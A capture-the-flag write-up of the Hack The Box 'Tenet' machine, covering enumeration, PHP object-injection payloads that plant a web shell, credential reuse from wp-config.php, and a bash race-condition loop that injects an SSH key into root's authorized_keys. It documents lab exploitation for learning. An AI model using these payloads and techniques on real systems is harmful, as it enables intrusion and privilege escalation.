Hello there my friends! My name is Dot. And I am here, to tell you, how I solved the Tenet machine, which I really liked. To get the first shell as www-data we will have to exploit a PHP object injection vulnerability, from there we will have to find some credentials to log in as Neil. And as last, to get the root, we will have to exploit a script that we can execute with sudo perms without password. So lets start :)
Enumeration
nmap
nmap shows only SSH (TCP 22) and HTTP (80 TCP) open:
root@kali:~# nmap -p- -T5 -vv 10.10.10.223 -o fullports.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-23 10:14 CET
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.14s latency).
Not shown: 65510 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 160.67 seconds
root@kali:~# nmap -p22,80 -sC -sV -T5 -o ports.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-23 10:21 CET
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds
dirsearch
As usual, I ran a dirsearch, with all extensions by default, although I edited the files and added more extensions. To add more extensions by default, simply edit the file dirsearch/lib/core/core/ArgumentParser.py
and add all the extensions you want with the following format "ext1,ext2,...extn" without spaces. These are the extensions that I have added. ",,php,asp,aspx,jsp,js,html,do,action,txt,sh,db,py,pdf,phtml,bak"
My configuration file looks like this:
root@kali:~# dirsearch -u "10.10.10.223" -E -r -R3 -t400
403 277B http://10.10.10.223:80/.php
301 316B http://10.10.10.223:80//wordpress
200 11KB http://10.10.10.223:80/
403 277B http://10.10.10.223:80/.ht_wsr.txt
403 277B http://10.10.10.223:80/.htaccess-marco
403 277B http://10.10.10.223:80/.htaccess.BAK
403 277B http://10.10.10.223:80/.hta
403 277B http://10.10.10.223:80/.htaccess.bak1
403 277B http://10.10.10.223:80/.htaccess-local
403 277B http://10.10.10.223:80/.htpasswd_test
403 277B http://10.10.10.223:80/.htpasswd-old
403 277B http://10.10.10.223:80/.htaccess-dev
403 277B http://10.10.10.223:80/.htaccess~
403 277B http://10.10.10.223:80/.htaccessOLD
403 277B http://10.10.10.223:80/.htpasswds
403 277B http://10.10.10.223:80/.htaccessBAK
403 277B http://10.10.10.223:80/.htusers
403 277B http://10.10.10.223:80/.htaccessOLD2
403 277B http://10.10.10.223:80/.htgroup
403 277B http://10.10.10.223:80/.htaccess_sc
403 277B http://10.10.10.223:80/.htaccess.save
403 277B http://10.10.10.223:80/.htaccess.txt
403 277B http://10.10.10.223:80/.htaccess.sample
403 277B http://10.10.10.223:80/.htaccess_orig
403 277B http://10.10.10.223:80/.htaccess.orig
403 277B http://10.10.10.223:80/.htaccess_extra
403 277B http://10.10.10.223:80/.htaccess.old
200 11KB http://10.10.10.223:80/index.html
403 277B http://10.10.10.223:80/server-status
403 277B http://10.10.10.223:80/server-status/
200 8B http://10.10.10.223:80/users.txt
As we can see there are many directories which we have a 403 and coincidentally all start something like .ht... This is due to the policies they have defined in the apache2.conf file. That more or less say something like "All requests to files starting with .ht return a 403" and even if that file does not exist a 403 will be returned. Therefore to focus better on the directories from now on I will omit these directories. So these are the directories that are currently important
root@kali:~# cat directorios.txt | grep -v 277
301 316B http://10.10.10.223:80//wordpress
200 11KB http://10.10.10.223:80/
200 11KB http://10.10.10.223:80/index.html
200 8B http://10.10.10.223:80/users.txt
If we visit index.html we see that it is the default apache installation page. With a curl to users.txt we can see that it only says Success, that we will see later, where this file comes from.
root@kali:~# curl -ks http://10.10.10.223/users.txt ; echo
Success
For now let's focus on the wordpress directory. If we enter, we can see a broken page of wordpress. What I always do here and I recommend to you, is to look at the source code of the page and look at the links, because most of the time, they will point to the hostname. Which in this case, we can see that it is tenet.htb
So lets add tenet.htb to our /etc/hosts and let's enter in it. Mmmm here is something strange, when we enter through the hostname we are directly in the wordpress page, the default apache installation page is not there anymore. If we ran a dirsearch we can see:
root@kali:~# dirsearch -u "10.10.10.223" -E -t400
200 10KB http://tenet.htb:80/
301 0B http://tenet.htb:80/index.php
200 19KB http://tenet.htb:80/license.txt
200 7KB http://tenet.htb:80/readme.html
301 309B http://tenet.htb:80/wp-admin
302 0B http://tenet.htb:80/wp-admin/
200 0B http://tenet.htb:80/wp-config.php
409 3KB http://tenet.htb:80/wp-admin/setup-config.php
200 1KB http://tenet.htb:80/wp-admin/install.php
301 311B http://tenet.htb:80/wp-content
200 0B http://tenet.htb:80/wp-content/
200 69B http://tenet.htb:80/wp-content/plugins/akismet/akismet.php
200 963B http://tenet.htb:80/wp-content/uploads/
200 0B http://tenet.htb:80/wp-includes/rss-functions.php
200 6KB http://tenet.htb:80/wp-login.php
301 312B http://tenet.htb:80/wp-includes
405 42B http://tenet.htb:80/xmlrpc.php
200 48KB http://tenet.htb:80/wp-includes/
200 0B http://tenet.htb:80/wp-content/
The users.txt file, is also missing. So, what I thought, is that the server was organized in the following way: (Check this in Beyond root)
The thing is, that there are a couple of posts and one of them talked about migrating the server, in this same post there is a comment that is quite interesting: "did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?! -neil-"
I immediately started searching like crazy in all possible directories for the sator.php file and the backup. But nothing, I even enumerated the subdomains with wfuzz but no luck.
I was about to go to sleep. When I realized that it could be in the server root, not in the hostname. And so it was. When I put http://10.10.10.223/sator.php in the url and hit enter... A wonderful page appeared in front of my eyes.
So if the comment is not wrong... there should also be a backup. I tried to access sator.bak, and nothing, but then I accessed sator.php.bak... and a little message to download the file appeared. And this is where the fun part of the machine begins.
Shell as www-data
PHP Obejct Injection
Thanks to previous machines I had done I knew that there were deserialization vulnerabilities in at least three languages: Python, PHP and Java. Now, take a look at the code
Have you seen it? The unserialize function is being applied directly, without any sanitation filter, on a variable that we control (Lines 23/24). Sounds tasty, right?
To understand this part, first I have to explain some basic concepts about PHP serialization and deserialization.
Structure of a serialized data on PHP
"Data type: data"
b:boolean;
i:integer;
d:float;
s:string_length: "string_content";
a:element_number:{elements}; //a for array
O:length_class_name:"Class_name":number_properties:{properties} //O for object
Example:
For a class called user, with 2 properties (rol and username) with the values (admin and test12). The serialized data would be:
O:4:"user":2:{s:3:"rol";s:5:"admin";s:8:"username";s:6:"test12"}
PHP has magic methods, and, in order to exploit the deserealization in PHP we are going to abuse two of them, which are:
· __wakeup():
· __destruct():
These methods are called automatically when unserialize() is called. unserialize() takes a string (representing a serialized object) and converts it back to a PHP object. The process of unserialize(), in a few words, is as follows:
1) unserialize() creates a copy of the serialized string which specifies the class and its properties. It will look for the __wakeup() function and execute the code inside it. __wakeup() reconstructs any resources the object may have. It is used to reestablish any database connections lost during serialization and perform other reset tasks.
2) The program operates on the object and uses it to perform other actions.
3) Finally, when there are no more references to the deserialized object, __destruct() is called.
So if we look at the code again, we can see something very interesting:
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
As we have already seen, when unserialize finishes, it calls the __destruct() function. Which will execute the following:
file_put_contents()
: Write data to a file
__DIR__ . '/'
: The path to write/create the file. In this case, is pointing to the root of the server ('/')
$this->user_file
: The filename. Which in this case is $user_file and is pointing to users.txt (If filename does not exist, the file is created).
$this->data
: The data to write. Which is $data and is pointing to "Success"
Sooo, once I've explained this... can you imagine where this is going? Exactly, we have to create a malicious serialized string and pass it through the arepo
parameter.
As we can see from the code, there is a DatabaseExport class defined, which is formed by two properties ($user_file and $data) and two methods (update_db and __destruct). Our goal, is to create a malicious serialized string of the DatabaseExport class, with the values we want, this way, when __destruct is called, it will execute file_put_contents() with the values we have defined.
If we look at the small schematic above, it would look something like this: (Please note that the numbers of the lengths may vary. So, depending on the words you specify, you will have to enter that number of characters.)
O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"test.txt";s:4:"data";s:17:"this is a text :)";}
Lets, send this:
And if we enter to /test.txt... Whoala :)
It seems to work perfectly, doesn't it? Now let's try to create a php file and write a little shell. The malicious serialized string that I created for this, is:
O:14:"DatabaseExport":2:{s:9:"user_file";s:7:"dot.php";s:4:"data";s:30:"<?php system($_GET['dot']); ?>";}
Once we send it, the file will be created, and we will be able to execute commands.
Let's get our rev shell. For this I will use a bash reverse shell, thanks to the rshell tool which you can find in my GitHub.
I will then intercept a request with Burpsuite, url encode the reverse shell and send the request with the encoded rev shell.
Aaaand, we got it :)
Priv: www-data -> neil
Lets upgrade the shell:
export TERM=xterm
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
In bash
stty raw -echo
fg + Double enter
In zsh
stty raw -echo ; fg + Double enter
If we try to read the flag user.txt as www-data, we will see that we don't have enough perms, so we must log in as neil first. The first thing that came to my mind was, that maybe the user login credentials were in the wordpress database, so I looked in the file /var/www/html/wordpress/wp-config.php
for the database credentials, and bingo, there they were. neil:Opera2112
But before connecting to mysql, I tried ``su neil`` and ``Opera2112`` as password, and I was in :)
Let's grab the flag:
neil@tenet:~$ cat user.txt
787001938196685e167bff5fd3e97469
Priv neil -> root
The first thing I did was to check the permissions with sudo -l
. And I noticed that there was a script, that we can execute as sudo:
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
If we look at the permissions of that file, we can see that we can read the script. Here is the content:
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
In order to facilitate the priv escalation, I will first explain what each part of the script does, and where and how we could exploit it.
checkAdded()
$sshName= root@ubuntu
Check that root@ubuntu is in the file, as follows: Verify that the length of the returned string is not equal to 0. If it is equal to 0 it means that grep has not found anything, so root@ubuntu does not exist.
checkFile()
Check that the argument it receives is a file and is not empty OR that the file we pass it is not a regular file.
addKey()
- Create the variable $tmpName, which stores a temporary directory.
- Then assign it rw permissions for everyone, and writes the id_rsa.pub in the file.
- Next, calls checkFile on this temporary file. And if it passes the checks of checkFile(), put the content of this temporary file in the authorized_keys of the root.
- Finally delete the temporary file
As we can see, it uses absolute routes, which means that we could not do PATH hijacking. The first thing that came to my mind, was to try to be faster than the script, at the time of putting the content of the temporary file, in the authorized_keys of the root.
For this, I made a while True loop, in which as soon as a file starting with ssh-XXXXXXXX
is created, where X can be any letter or number, my private id_rsa will be added to that file. This is the script I have created in order to achieve it.
#!/bin/bash
while true; do
file=$(ls /tmp/| grep ssh-)
echo "Your id_rsa.pub" 2>/dev/null >> "$file"
done
But to get our script to run correctly, we need to run the sudo /usr/local/bin/enableSSH.sh
script while running our script. So, how can we run both at the same time?. Very simple, we can log in via SSH with neil's credentials, or run ./script &
(to leave it in the background) and then run sudo /usr/local/bin/enableSSH.sh
We may have to run sudo /usr/local/bin/enableSSH.sh
more than one time, to get the script to execute successfully.
And we can grab the flag:
root@tenet:~# cat root.txt
1c8dbbd5eaac9df85403d88b971b8046
Beyond root
If we check the /etc/apache2/sites-enabled/tenet.htb.conf
file, we can see that we were right, since, as we can see, the root of tenet.htb is set in /var/www/html/wordpress
root@tenet:/var/www/html# cat /etc/apache2/sites-enabled/tenet.htb.conf
<VirtualHost *:80>
snip
ServerAdmin webmaster@tenet.htb
ServerName tenet.htb
ServerAlias www.tenet.htb
DocumentRoot /var/www/html/wordpress
snip
</VirtualHost>